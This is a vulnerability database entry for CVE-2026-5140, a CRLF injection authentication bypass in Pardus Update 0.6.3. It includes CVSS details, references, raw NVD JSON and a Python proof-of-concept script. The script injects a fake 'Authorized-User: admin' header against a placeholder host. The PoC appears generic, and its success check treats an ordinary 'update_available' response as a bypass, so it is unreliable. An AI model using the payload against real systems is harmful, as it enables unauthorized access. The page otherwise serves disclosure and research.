CVE-2026-5140

Description

Improper neutralization of CRLF sequences ('CRLF injection') vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Update allows Authentication Bypass. This issue affects Pardus Update: from 0.6.3 before 0.6.4.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Pardus Update 0.6.3

Pardus Update < 0.6.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL of the vulnerable Pardus Update service
target_url = "http://vulnerable-pardus-update.example.com/api/check_update"

# CRLF payload attempting to inject a fake authentication header
# This simulates bypassing an authentication check by injecting an 'Authorized: true' header
payload = "version=1.0\r\nAuthorized-User: admin\r\n"

headers = {
    "User-Agent": "CVE-2026-5140-Scanner"
}

try:
    # Sending the malicious payload
    response = requests.get(target_url, params={"data": payload}, headers=headers)

    # Check if the response indicates successful authentication or admin access
    if response.status_code == 200 and ("admin" in response.text or "update_available" in response.text):
        print("[+] Potential Authentication Bypass Successful!")
        print("[+] Response Body:", response.text[:200])
    else:
        print("[-] Exploit failed or target patched.")

except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5140
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5140
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5140/
[4] VulDB https://vuldb.com/cve/CVE-2026-5140
[5] https://www.usom.gov.tr/bildirim/tr-26-0131

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5140", "sourceIdentifier": "[email protected]", "published": "2026-04-29T14:16:19.777", "lastModified": "2026-05-04T14:16:35.190", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of CRLF sequences ('CRLF injection') vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Update allows Authentication Bypass.\n\nThis issue affects Pardus Update: from 0.6.3 before 0.6.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-93"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-26-0131", "source": "[email protected]"}]}}